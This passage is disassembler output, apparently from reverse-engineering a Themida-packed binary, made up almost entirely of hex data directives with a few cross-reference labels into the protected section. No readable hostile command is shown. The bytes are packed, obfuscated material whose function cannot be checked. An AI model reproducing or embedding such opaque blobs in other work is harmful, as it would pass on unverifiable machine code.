		dd 0DBF9CF23h, 40074A9Ch, 0A8C3FB26h, 0E75E7973h, 0E0277770h
		dd 0E7C7FF19h, 1DF2735h, 52A1A1FFh, 839E82A5h, 0B445F80h
		dd 0CF31F040h, 5D6682ADh, 88C8CA11h, 80C978D6h,	7AB93928h
		dd 721E82Dh, 3EA2DCh, 4A700000h, 0AE75BA0Bh, 0C60E6994h
		dd 2F4AE6E8h, 0E123CC1Bh, 4AA0A2C8h, 0BF8BA6F8h, 2CE123CCh
		dd 5DBFDB06h, 8EA8F810h, 1B35FC41h, 0F01F1CE3h,	0FF17E944h
		dd 5F6199D1h, 305BBF9Fh, 3000000h, 0FF01DF27h, 0F2A9F84Ah
		dd 0A4270B21h, 579EEAF5h, 4A4B7690h, 0E1239300h, 4ABEC0E0h
		dd 0AC73BC0Bh, 0F92F6792h, 0ADCB105Dh, 0AFDA236Eh, 5DBF9F93h
		dd 3A03CA11h, 0E1284EFEh, 74C504FAh, 434E682Fh,	0CBE5ACF3h
		dd 86482A0h, 56748FBCh,	15E1274Dh, 1CD7B7EFh, 9FC289D0h
		dd 6C23924Bh, 0F17C1D1Ch, 27809BB9h, 0CFE75E14h, 0D68627Dh
		dd 0D5FBE710h, 0C9A9CFAAh, 1DF2717h, 5DBDA1FFh,	88C8CA11h
		dd 31B36BBAh, 0D54E0946h, 0F84A8EAAh, 3F266DB9h, 0E123CC0Bh
		dd 7D87B2D8h, 392880C4h, 23BCh,	0DF278A00h, 2F4AFF01h
		dd 0E123CC1Bh, 4AA0A2C8h, 216AB9F8h, 0F915405Ah, 0C9CB105Dh
		dd 405BBF9Fh, 3000000h,	0FF01DF27h, 79BE0B4Ah, 0AFDA236Eh
		dd 0F5D62577h, 5874667Bh, 4B90DDE8h, 372B1F20h,	95B5E123h
		dd 0B9F84A93h, 0B8015068h, 749FD7F1h, 0F8105D58h, 0A2860A9h
		dd 0B24147BBh, 0CFFA56FEh, 4ABF9FB3h, 0CCEDDDF8h, 587EE123h
		dd 75BC082Dh, 0E0EA0557h, 83E123CCh, 2BF23B8Ah,	0CDAED911h
		dd 628056AAh, 0B509C110h, 8DE68400h, 98C3FB40h,	5A125697h
		dd 9FF130E7h, 507B955Ch, 7E6F4F75h, 1B36542Ah, 0E1568818h
		dd 0F9E6ADD3h, 0CB8666ADh, 0A871387Fh, 474D0235h, 4DA9C7A3h
		dd 1FDABA01h, 0C5C58CD3h, 0F1725873h, 0CBF1870Ah, 0E52A7BA0h
		dd 3988621Eh, 2F75378Ch, 6886B103h, 5BA2EE4Ah, 5A74C07Bh
		dd 6D8BC30Ah, 458CDC1Bh, 4D7D647Eh, 1E870A0Eh
		dd 5BA0EDF8h, 6E4F7A94h, 37Fh, 36282700h, 0FDC4175Dh, 0B67DC410h
		dd 6B3279C9h, 23EA337Eh, 0DAA1E436h, 91589BEDh,	470E53A4h
		dd 1C80D5Ah, 0B57CC514h, 0E68956C3h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 51240C89h, 0C181E189h,	4, 4E981h, 0C870000h
		dd 2C895C24h, 3BCE6824h, 1C890000h, 44BB5324h, 89063D83h
		dd 241C8BDDh, 4C481h, 8B540000h, 0C483241Ch, 8B85004h
		dd 1000000h, 8B2889D8h,	0C4832404h, 241C8B04h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 8951242Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 7E95C24h, 49FFF9F3h, 0AD9F86B3h
		dd 8ACAB8BAh, 0C503063Dh, 5B27E0FFh, 521C5BFFh,	797448B0h
		dd 809572DCh, 4F977BFCh, 0F9672A11h, 50B70BBh, 7D076B59h
		dd 0AB455478h, 71995B1Ah, 0BCD857DDh, 7C62895h,	854E3882h
		dd 81E241CBh, 8E85CA6h,	17000000h, 6756A674h, 6085F280h
		dd 0E8616060h, 0Fh, 34D84799h, 0FCF17F8Eh, 0D1FD47A4h
		dd 5F3473DEh, 61EE8A61h, 0DBB7525Ah, 4C2815Eh, 66000069h
		dd 0ECB9F18Bh, 814671B4h, 71AEE7F1h, 13E846h, 0F2FD0000h
		dd 74501B60h, 0A15D9DB9h, 11CAD7F3h, 119BE1BAh,	44D781F9h
		dd 5F194C34h, 81F8028Bh, 0C2C3E6C0h, 9E81Eh
		db 2 dup(0)
word_5A585A	dw 0D407h		; DATA XREF: Themida_:0053ECD4o
		dd 4D8F7BDh, 60C4425Dh,	0F0815F61h, 26E6062Dh, 81DE8B66h
		dd 0A449E9C0h, 11E86054h, 12000000h, 5A203C3Fh,	0C7E6A2Fh
		dd 0AC5C97A4h, 860064E0h, 3CF68166h, 800F5810h,	2, 896137B3h
		dd 0F6B70F02h, 0B8D9EA81h, 81F8678Dh, 8DB8D5C2h, 4CC38167h
		dd 81180BA6h, 1E9h, 8D850F00h, 0FFFFFFFh, 687h,	0BAEB8100h
		dd 8D0DFF1Dh, 3D8D6C8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 958589BCh, 89063728h
		dd 3718758Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0D80A5291h, 51C3E0A1h, 9585C77Ah
		dd 90063711h, 6A00005Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B5EC357h, 371FE59Dh
		dd 8185C706h, 6370Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 58FDC351h, 316AAABBh
		dd 3722C19Dh, 8B666006h, 85BD89F7h, 61063720h, 2025B5FFh
		dd 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0CB2963C3h, 0FFE8552Fh, 37129195h, 0DEB70F06h
		dd 95FF006Ah, 6373219h,	3AEBC08Bh, 0EF0C7728h, 357B6012h
		dd 0EA1D77BFh, 22B3A5D3h, 789C4AD6h, 661B1E0Ch,	5D31E8E4h
		dd 54AEE76Dh, 0ABEEEFB8h, 0C7AE781Eh, 18475945h, 0D698B16Ah
		dd 0D5563420h, 0A0ED952Ah, 13E865F7h, 0AA000000h, 0D67B2BAFh
		dd 72D7CB71h, 75743C53h, 0EFF6FC5Bh, 8957C45Ch,	37290D9Dh
		dd 0F5E5F06h, 0C681FBBFh, 6C6Dh, 2379958Bh, 0DB330637h
		dd 2929952Bh, 34FF0637h, 13E933h, 0EA3A0000h, 6063B42Ah
		dd 0F0DF04A2h, 0C21EB576h, 34EA8415h, 81F85990h, 283EEAF1h
		dd 519D0961h, 81063711h, 0B7D067E9h, 38B0F68h, 80000000h
		dd 0C181DCD8h, 573F2A24h, 1E0C89F5h, 0BE8h, 25B53700h
		dd 0B70EC33h, 202FF0AEh, 30F19589h, 8B580637h, 372DF985h
		dd 4EB8306h, 18BD9D29h,	0FB810637h, 0FFFF9454h,	13850Fh
		dd 95890000h, 63725A1h,	13E9h, 18C7F00h, 7C3E828Eh, 73E9F598h
		dd 1CFFFFFFh, 4A44463Fh, 8F0B8D8Dh, 6A063Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0E717ACC3h
		dd 16F08B8h, 89F18B0Fh,	3718758Dh, 18F0F06h, 0FC000000h
		dd 119585C7h, 62840637h, 85890000h, 6371849h, 0F8185C7h
		dd 637h, 8B510000h, 371C6195h, 0B5FF5A06h, 6370A49h, 8C59D01h
		dd 95FF0637h, 6371291h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0DAC35141h, 1810Fh, 6AFC0000h, 1995FF00h
		dd 8B063732h, 0C218EBC0h, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h
		dd 0D9ED04E8h, 0C6393E89h, 8D58EDDDh, 3D90568Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 763D57FAh, 758D89F9h, 0E9063718h, 13h, 12FD0EA0h, 0C902B56h
		dd 2E48D0B6h, 44882EA0h, 0C7EB5C24h, 37119585h,	6AEC06h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0C99D8D4Fh, 90D68166h, 98D897Eh,	0C7063708h
		dd 370F8185h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F87B272h, 88Ch, 8D015700h
		dd 63728D1h, 559D8B58h,	0FF063723h, 37139DB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 883645A2h, 5239227Ch, 0B58BBF22h, 6371741h, 35B58Bh
		dd 0BE90637h, 3C000000h, 844FC0E9h, 83DD7464h, 95FF54E7h
		dd 6371291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	8BC35646h, 774FC930h, 0B694F02Dh, 6AF56Ah, 321995FFh
		db 37h
byte_5A5CA5	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053D458o
					; Themida_:0053F520o
		dd 7F620FEBh, 70009E65h, 8F3B4A3Fh, 381C0BEEh, 9E835h
		dd 810000h, 48B4B93Dh, 0B8DBC3E2h, 739E1794h, 817CB659h
		dd 72F6C1h, 35BD0300h, 0BE06372Bh, 0
		dd 0C840Fh, 880F0000h, 6, 0B6D9589h, 34FF0637h,	0BE90Eh
		dd 5D9F0000h, 154AB9BBh, 0AF4668FCh, 958B5B17h,	63711CDh
		dd 512C381h, 0B58965B0h, 6371F29h, 0A28DEB81h, 0B5897289h
		dd 6371D15h, 2C2F381h, 0BD8940CFh, 6371AD5h, 18C0F53h
		dd 0F5000000h, 6031048Fh, 68C0Fh, 858B0000h, 6372D71h
		dd 2A098D89h, 66610637h, 83D529BAh, 0BF0F04EEh,	0E0FE81D7h
		dd 0FFFFF8Dh, 2285h, 5E900h, 88240000h,	0E9B6C16Ah, 24h
		dd 3DA94A45h, 0AF7010E8h, 0F2A8D791h, 1EBCDC7Dh, 8A023D8Bh
		dd 0FF64E9C7h, 80EFFFFh, 3B874395h, 23921B2Ah, 92798D8Dh
		dd 6A063Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 107AD7C3h, 8800C672h, 758D8996h, 6A063718h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7303C355h, 4843484Bh, 10E82Bh, 39580000h
		dd 7CF7F148h, 327B8703h, 9978FFE8h, 870F43D5h, 17h, 12E9h
		dd 0B1B87600h, 0D2B097Eh, 29596F10h, 0B3192051h, 5BECD9D6h
		dd 0C7F9BF0Fh, 37119585h, 5B6C06h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7117E6FEh
		dd 0D88B665Ah, 1D89BD89h, 85C70637h, 6370F81h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DFC35343h
		dd 12969294h, 8820Fh, 89520000h, 3719DD95h, 0B5FF5B06h
		dd 637209Dh, 8BF28B66h,	3722099Dh, 9195FF06h, 6A063712h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 991C353h,	37077195h, 0FF006A06h, 37321995h
		dd 0EBC08B06h, 0E56CC84Eh, 0C5D0695Eh, 647F5B2Eh, 0E3A4E8C1h
		dd 7F957C6h, 0A6B74A13h, 0EE205067h, 0BF92DF56h, 0B25049CAh
		dd 0D6CDEFADh, 0F1B06103h, 9CC92F4Fh, 0B574FCA1h, 2D3A7344h
		dd 6D64EBF5h, 725AA548h, 7769AF18h, 8BC15997h, 0B2B66E9Eh
		dd 0E99B9283h, 15Fh, 60D48B52h,	0E8h, 0ED815D00h, 63D92DAh
		dd 3D08428Bh, 78263845h, 138850Fh, 428B0000h, 184A8B0Ch
		dd 8EBBC8D3h, 3338A066h, 4E883C3h, 18758589h, 588B0637h
		dd 8BF88B04h, 4A8B1042h, 0BEC8D318h, 0B09FEFCDh, 0C72BC633h
		dd 83FCE083h, 858904E8h, 6371195h, 8914428Bh, 370F8185h
		dd 18428B06h, 0B0E953h,	0B5FF0000h, 6372DE1h, 0B9E9h, 0B9B5FF00h
		dd 0E906371Ch, 0AEh, 309DB5FFh,	0A3E90637h, 0FF000000h
		dd 37209DB5h, 98E906h, 0B5FF0000h, 6372ECDh, 8DE9h, 9DB5FF00h
		dd 0E9063713h, 82h, 2025B5FFh, 77E90637h, 0FF000000h, 370CE1B5h
		dd 6CE906h, 0B5FF0000h,	6371CE1h, 61E9h, 61B5FF00h, 0E9063729h
		dd 56h,	1BA5B5FFh, 4BE90637h, 0FF000000h, 371189B5h, 40E906h
		dd 0B5FF0000h, 6370A49h, 35E9h,	39B5FF00h, 0E906371Ch
		dd 2Ah,	2359B5FFh, 1FE90637h, 0FF000000h, 371F2DB5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 933B8D8Dh, 0C803063Dh
		dd 95FFE1FFh, 6371291h,	75858B5Bh, 39063718h, 850F0458h
		dd 0Fh,	0FF016A53h, 37321995h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 3707A985h, 298D8D06h,	89063D94h
		dd 0C38B0141h, 154904EBh, 57E904F0h, 11000006h,	0DD9878CBh
		dd 0AA65458Eh, 7D38185Dh, 4C07E72Ch, 2CD7B7FAh,	0D50A254h
		dd 0DE27722Dh, 0ACF343FEh, 7EC511CCh, 19341A9Eh, 0E71E5831h
		dd 367585B2h, 347BCBE7h, 0F01B536Dh, 0F7115DD4h, 2A1981ABh
		dd 0D6761E10h, 85BDD79Eh, 0D0FA1567h, 93E123A1h, 7461426Dh
		dd 31FFDF22h, 4366CDE2h, 23EA2228h, 809BC1E1h, 0BAE50709h
		dd 0DE2F4995h, 6B327BC6h, 1AE11951h, 0D39AE12Dh, 874E97E6h
		dd 8B94E3D9h, 54B17096h, 0C6E4022Dh, 0E0EA0557h, 83E123BBh
		dd 0C10D325Dh, 8DCC9A7Ah, 0A8CDF83Bh, 76311158h, 75BC0C26h
		dd 3E89763Dh, 4B98D7F5h, 3EFADB06h, 0B404607Eh,	6DBF8D6Dh
		dd 23BB7852h, 9AC5EBE1h, 42FF2975h, 0B95D3749h,	39F88CA7h
		dd 0D03914D1h, 0F03B7A98h, 0D29B7CA7h, 0E1233085h, 296A8862h
		dd 36298908h, 0BA78h, 0E9DB2A00h, 8425DB0h, 0DBE122DFh
		dd 97D19AB5h, 5D6682ADh, 6DACCA11h, 0CFB0DB20h,	0FA3F90CFh
		dd 0EDEE1933h, 0E123CCA3h, 4EC3EF3Eh, 5DC4AB36h, 2C19E018h
		dd 0E0CD94DDh, 6D874E93h, 59B5D393h, 0E0FAC10Ah, 0E301DBA8h
		dd 290D8FA2h, 63B4F336h, 123D571Eh, 1D8h, 0E5DA600h, 0C211FEC5h
		dd 60B2B279h, 0CCD7F30Eh, 6E94E123h, 23CC4387h,	3F86D6E1h
		dd 779D5E78h, 91D6274Ch, 0E7261CCAh, 728C539Ch,	0AF0B2947h
		dd 69371760h, 73C4DE2Ah, 422FF62Eh, 4873ABF2h, 71BDD723h
		dd 0CC212944h, 9CC2E123h, 65839D64h, 23CC004Ah,	85BDE3E1h
		dd 0A39F1867h, 0FA2A2284h, 4A23D5CFh, 4873BC0Bh, 0C78ED123h
		dd 7B428BDAh, 3C8BCADAh, 90BAD5F3h, 53E123CCh, 0C6E4022Dh
		dd 0F5D5186Ah, 0D1C4EE3Ah, 0A3EA3A95h, 0E2A7C2DCh, 91D627B8h
		dd 6D5A2159h, 76BB0820h, 3F8A773Eh, 0F3422FF6h,	4C42E3AAh
		dd 4A72A52Eh, 868A93FBh, 4D780DA4h, 71D0112Fh, 0F362951h
		dd 8Bh,	0B90B4ADDh, 6A95AF76h, 0E9B0F345h, 0A36AAFFCh
		dd 9FFB19F5h, 5544274Dh, 0BD1123BDh, 0FA156785h, 0E1237ED0h
		dd 48426D93h, 0DA253B8Dh, 7EBA90ABh, 329E123h, 0B2EA04CBh
		dd 61ACEBEBh, 0C375118h, 337E96E7h, 477FC817h, 672E6680h
		dd 0E5264452h, 36293C5Ch, 6998E726h, 23707C4Eh,	91C9EFE1h
		dd 4C2C66h, 5DFA0000h, 1401C80Bh, 0C1B67DC4h, 0DEEC0759h
		dd 8DE123CCh, 1E3C67h, 0BF065291h, 0DA1D6F94h, 9CED2CFAh
		dd 5D102C57h, 35FEC50Eh, 0E123CC68h, 60CFEDC7h,	0FAC3611h
		dd 0DA055C2Fh, 291B61D0h, 81F36h, 92D10000h, 1E38FF46h
		dd 0B4AD7F3h, 254A75BAh, 0DFCC93D8h, 98854C93h,	503D044Dh
		dd 0F6F3BAFFh, 0DB3A0241h, 8B4F2732h, 300AE46Dh, 0BBB142E1h
		dd 0A7D2163Ah, 0C20F6B89h, 536E6A9Ah, 92CAB672h, 976DC1B2h
		dd 0E4ED5E79h, 587EE75Ah, 0E0429191h, 8C53196Ch, 91DD022Dh
		dd 63AF6A4Ah, 6EBFFE1Ch, 0F8BF0656h, 928BA6DEh,	5E7E67B9h
		dd 11DABBE6h, 0E714D547h, 92EE0C5Ah, 8FE1FF46h,	14D55674h
		dd 0C4EF15E7h, 6EBDFCCAh, 26715E25h, 499AA5DDh,	68B4D904h
		dd 0F5BC014Eh, 3980D0DBh, 7691E301h, 0E714D554h, 0E5C6F117h
		dd 4592ACF8h, 715F781Dh, 134BC591h, 0B2EBC9F8h,	8BC3B727h
		dd 458AD7C4h, 1746917Eh, 14F4CEFCh, 3F779DE7h, 0D0EECA78h
		dd 39788847h, 3A7DCFE9h, 0F6213B02h, 0F94BBAD8h, 0F85C0FAAh
		dd 0EFD6680Eh, 0E71497DBh, 0E5A6EF3Eh, 236F94BFh, 0D55CFCDCh
		dd 0AB3C5FE7h, 185h, 8BD21E5Dh,	24EB2E80h, 27C3DF0Ah, 0A0DFFDD3h
		dd 2C460D54h, 3877C901h, 0C4DEA5ECh, 0FA979899h, 264CE75Ah
		dd 0AF9BB608h, 3CE714E2h, 1D0AEB16h, 0DCAA8AD1h, 46F5778Dh
		dd 4671B0ADh, 708ED521h, 0D79EE531h, 0B3994ADAh, 74ACA250h
		dd 2F7B6849h, 8A8021E8h, 7DC4106Ch, 0B234FD9Dh,	784C3C5Fh
		dd 0FE000000h, 55470BFh, 0A3BD84BCh, 0DE275C78h, 5E96DD2Dh
		dd 0CDF52540h, 0D0F6E123h, 78CA0909h, 0CDC67452h, 4C841EA8h
		dd 11606B85h, 0BCE701C8h, 23118FBBh, 638145E1h,	8CAA88D1h
		dd 940B653Dh, 0A5D0CF0Ch, 45A8526Dh, 0C2BBE123h, 9EAC4D75h
		dd 4EF3729Dh, 81C0DE16h, 0C7C1EC2Fh, 0BE8CA7F9h, 2DE123E3h
		dd 5C859F24h, 139A2E5h,	0E882C8E3h, 3B61E123h, 0ABE910h
		dd 27910000h, 0C4DFFDD3h, 0E75AE4DBh, 0CD1464A3h, 0E6C1EC06h
		dd 0AAF9F9C0h, 1A5195A8h, 86ABD6CEh, 5813F33Ah,	35FEC50Ch
		dd 0E714486Eh, 4974C32Bh, 0AD932E1h, 71757532h,	0C9087556h
		dd 0F362809Eh, 0F52069B4h, 1B6A84D0h, 0A56CB3FFh, 728C538Bh
		dd 15695A3Ah, 7DCF213Fh, 0C0A7EE3Eh, 0E714778Ah, 77E9E1FCh
		dd 547AE714h, 41426D93h, 0E156DB36h, 77536EC0h,	0F4E129E3h
		dd 0A2C8A3CEh, 5BA2EEDBh, 0FA18D894h, 203E1468h, 0F03D7CCEh
		dd 0E3CAE4ABh, 0E129E3E7h, 0F7408B84h, 0C0DE1630h, 29E3A5A5h
		dd 0F52046E1h, 6B4FE9F4h, 4C2C52E7h, 0FDD3279Ah, 60B9C4DFh
		dd 7CA2E761h, 357CC8B5h, 0F6488755h, 154D94E0h,	17334E4Eh
		dd 0D4E71E58h, 885B76AEh, 0B927814Ch, 257196C1h, 0D81717DEh
		dd 14154089h, 0E5CC26BBh, 0CC3B5935h, 0DDF83B8Dh, 576D2AFCh
		dd 0B9DE0996h, 8B46266Dh, 4431F83Fh, 0FAE7AEF3h, 0A29F66AFh
		dd 0F36D23Dh, 7CC8D3F3h, 98D01562h, 708EDCD1h, 0E4330DE7h
		dd 7B5C5C4h, 70B506ACh,	0D1EF0D38h, 2E22975h, 0EDB4FB47h
		dd 3FEh, 3628A600h, 0FDC4175Dh,	0B67DC410h, 6B3279C9h
		dd 23EA337Eh, 0DAA1E436h, 91589BEDh, 470E53A4h,	1C80D5Ah
		dd 0B57CC514h, 0E08950C3h, 405h, 4E88300h, 31240433h, 4332404h
		dd 9B685C24h, 89000056h, 89522434h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 241C895Ch, 5E84B850h, 44BE77B4h, 29DB8885h
		dd 0C68158C6h, 0A2696D8Ch, 8904EC83h, 4812424h,	424h, 6685B00h
		dd 89000006h, 438F2434h, 2434FF08h, 4C4815Bh, 0FF000000h
		dd 835E2434h, 0BFE904C4h, 0EDFFF9E3h, 0B45EB6E2h, 26B8E0B7h
		dd 3063D9Ah, 0DFE0FFC5h, 0C0007E2Ah, 256954B6h,	9023F15Ch
		dd 661A0818h, 1317FD8Fh, 0BB57A3B8h, 0C7781829h, 0C80FB14Dh
		dd 0CE462DE6h, 0E366C15Fh, 0E80F4D00h, 12h, 16436E55h
		dd 494A65B3h, 67AE5D0h,	70AB3802h, 0C18BA430h, 6FD38159h
		dd 816903CEh, 6FC3C1h, 80BB6600h, 1BC868F0h, 5AF90000h
		dd 6870Fh, 0E7810000h, 1997357Eh, 0F60318Bh, 0CE9D1B7h
		dd 9000000h, 0A5663AE2h, 33227E28h, 61F11163h, 0BF71F681h
		dd 81F84042h, 8AA64AF6h, 0DDC68172h, 5071850Ah,	0F318958h
		dd 285h, 81FA8B00h, 3C7156E9h, 3890F05h, 0F000000h, 0C181DBB7h
		dd 53C7152h, 13E8h, 4DD8A600h, 0F5A00E8h, 1F3816E6h, 0EE0DF1DEh
		dd 31BA4119h, 5FE9EF80h, 91850F4Ah, 0E9FFFFFFh,	0ABh, 3F2E8D50h
		dd 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
		dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h,	92A5BCF2h
		dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h,	0A3F292A5h
		dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h,	8A924AF0h
		dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
		dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h,	207D20B2h
		dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh,	8F9D728Fh
		dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h, 94E7A601h
		dd 2483323Dh, 0E96A42BEh, 129Fh, 3D9E5668h, 0E218E906h
		dd 6968FFF9h, 0E9063D9Fh, 0FFF9E20Eh, 3DA03668h, 0E204E906h
		dd 9768FFF9h, 0E9063DA1h, 0FFF9E1FAh, 3DA21668h, 0E1F0E906h
		dd 0CA68FFF9h, 0E9063DA2h, 0FFF9E1E6h, 3DA3A668h, 0E1DCE906h
		dd 9068FFF9h, 0E9063DA4h, 0FFF9E1D2h, 3DA54368h, 0E1C8E906h
		dd 9368FFF9h, 0E9063DA6h, 0FFF9E1BEh, 3DA77968h, 0E1B4E906h
		dd 2068FFF9h, 0E9063DA9h, 0FFF9E1AAh, 3DAA2D68h, 0E1A0E906h
		dd 9668FFF9h, 0E9063DABh, 0FFF9E196h
dword_5A6914	dd 3DAC8968h, 0E18CE906h, 488EFFF9h, 0B5A15F5h,	0DA27E2C2h
					; DATA XREF: Themida_:0053E9E4o
		dd 0A9FAB595h, 77C98464h, 0DBA95434h, 0AA8ACD1Fh, 7B5BA4EFh
		dd 492970C0h, 1BFB428Eh, 0B496B197h, 37E71E50h,	115D160Ah
		dd 0CC81C9E4h, 3C62E123h, 0CCC7031Eh, 7EA4E123h, 3D92846h
		dd 0CB13FA4Bh, 0F6E3C4EFh, 928363AAh, 837B853Eh, 17770E42h
		dd 0A1BB82C5h, 0F8133169h, 0E75A29F7h, 545606Ch, 0E6E71419h
		dd 0C1C188C0h, 0CD1A3082h, 6FA7C188h, 62638EA8h, 0E7141914h
		dd 0D726658Dh, 62296EBBh, 2F491048h, 59C8E604h,	19DEEC07h
		dd 678DE714h, 5DFF323Ch, 34833C60h, 8001B1Bh, 7FB9E464h
		dd 4Ah,	0FDD3274Dh, 851A0DFh, 0CCFBCFEAh, 4268E123h, 0DBC4DF17h
		dd 0E75AECh, 0D3F1D9F4h, 4C72E714h, 0FB3B0231h,	467E63EEh
		dd 68E8B67Fh, 0D3E1E714h, 29F746B5h, 7D97D01Bh,	0B2F7444Fh
		dd 9CA6D1EBh, 3C602295h, 0E6EBh, 0B4AB900h, 952A1BBh, 0C5F00AD1h
		dd 460D54A0h, 0FDC40759h, 0B67DC410h, 670E67B6h, 0CF870F3h
		dd 4370BCE1h, 23B72228h, 639BC1E1h, 2676B583h, 0E2B3B4DFh
		dd 9CE123ABh, 0B41B2F4Ah, 0CFC8E123h, 0D500387Fh, 3D1D64B0h
		dd 28EF3682h, 0BDDBB105h, 5A9F95A2h, 3A587EE7h,	0A168AFFBh
		dd 71625C87h, 0E29471Dh, 0E16A1E34h, 217391B7h,	204B92E2h
		dd 4866A9FBh, 3EB947F9h, 515C3280h, 0DDF7BE05h,	0ABFDB8B2h
		dd 61B39D68h, 0D58C3FC2h, 0FEAE6h, 6EC10700h, 3B84D38Eh
		dd 0E53A05Bh, 0DD22732Eh, 0ADF042FDh, 982222CDh, 68230346h
		dd 39F4D41Dh, 7C2A2E9h,	109474BBh, 523B0F2Ah, 7BA8E71Eh
		dd 0C80B5D87h, 5ECB1AE8h, 0E74AB92h, 3B024995h,	99BEE921h
		dd 0A9E8064Dh, 0ACF5445Ch, 84955974h, 0E69B368Ch, 270FC1BBh
		dd 8DDFFDD3h, 60F0AF3Eh, 0C6F11015h, 5A3FD8C5h,	0BFDD03E7h
		dd 78526Dh, 0C5EBE714h,	598DA0AAh, 0E510A934h, 0E6733B04h
		dd 5866E714h, 0B738F93Ah, 0D5483C5Fh, 16000000h, 0ACCA115Dh
		dd 0A6F21E6Dh, 506F5F68h, 0ACC68DC5h, 0DD55E491h, 6994B1B8h
		dd 6499B88h, 0C421763Fh, 0A4F0E123h, 6AF03F5Dh,	6BDE1FD6h
		dd 97209BB6h, 0EC741019h, 0BAF9C7C1h, 0D4F92469h, 0E4234188h
		dd 0BDD96E98h, 0A15445B2h, 69B5A269h, 9415B22h,	86DAFDDEh
		dd 6E7792B0h, 0D5E75AF0h, 8ADECFAFh, 387B96B4h,	33E16A76h
		dd 5EB0EF0Dh, 2E803B1Bh, 0E5521C08h, 0E46CC9Ah,	0C2C2E343h
		dd 0C6B56C3Fh, 0ED7h, 7B5BAEF4h, 482871C0h, 1BFB408Dh
		dd 0EACA0F60h, 0BA9ADD2Fh, 3385310Fh, 0A5510F0h, 0D626E1C1h
		dd 0A8F4AF8Fh, 17FD8161h, 1E53CEFCh, 7C709DE7h,	5FE50B5Dh
		dd 0CA001BEBh, 99E12314h, 0B1B25873h, 0FD4189A4h, 0FC22E123h
		dd 0F1AC8CC4h, 0CC7E5EA5h, 0A7F7115Dh, 617F9960h, 23CC0446h
		dd 89C1E7E1h, 4289D5C2h, 155AA762h, 0CE15614Eh,	157C70EEh
		dd 266F08C1h, 228ADA54h, 3C8DCCEAh, 0EB1630F7h,	0A60798B3h
		dd 0B6DCE75Ah, 96EDBA5Bh, 82D6DE9Ah, 6E738EACh,	0FD16E78Eh
		dd 99ED10D7h, 468AA5C3h, 1D10D46Ch, 568ED324h, 6697E638h
		dd 0F765B56h, 286FBBC6h, 458CD8FDh, 5297E827h, 26722D27h
		dd 792C14DFh, 0EC5CE7Ch, 0E0A1Fh, 8EE12700h, 5BA4F3AEh
		dd 2E73C07Bh, 0FD42934Eh, 0CD10621Dh, 0B84242EDh, 88432366h
		dd 5914F43Dh, 27E2C209h, 30B494DBh, 6C1B2F4Ah, 9BC8E71Eh
		dd 0CA115DA7h, 0D08CE003h, 23CC95B5h, 0F83056E1h, 0DA7ABFDAh
		dd 7069E75Ah, 255EF521h, 1B8FC13Fh, 0CA021CE3h,	0DB206DACh
		dd 0A9E8B6B0h, 0ACEF4157h, 9AEE4974h, 985FA4F1h, 0D28467Eh
		dd 0E16DABF0h, 0E6135F9Eh, 23AAFFCBh, 0E466CE1h, 0F40F2D47h
		dd 0E123AAD6h, 69446F95h, 99E62543h, 0B3F84954h, 90DEA788h
		dd 9E123AAh, 1055A2E1h,	0E6042F49h, 0F2AA87C8h,	4AD63628h
		dd 88000000h, 88B3F849h, 46FB4A6Ch, 0DBCA3336h,	388CE712h
		dd 6294462h, 80E75BE0h,	0F88F631h, 69040B9h, 8862FBC9h
		dd 89A4C2FAh, 0E7148741h, 0F6D1FC22h, 2373B2D0h, 1B65FCDCh
		dd 0B6E71487h, 8843236Ah, 3B2AF138h, 0D17h, 0FDD327E3h
		dd 58728DDFh, 0BE123CCh, 6782BAE5h, 0E7616847h,	0D5F5101Ch
		dd 96E71E50h, 0DB1A3870h, 0D82A488Fh, 1E508DBDh, 2D385EE7h
		dd 716B96DDh, 5C236AB6h, 0F10FE539h, 5CF471D6h,	0A6C4EAE1h
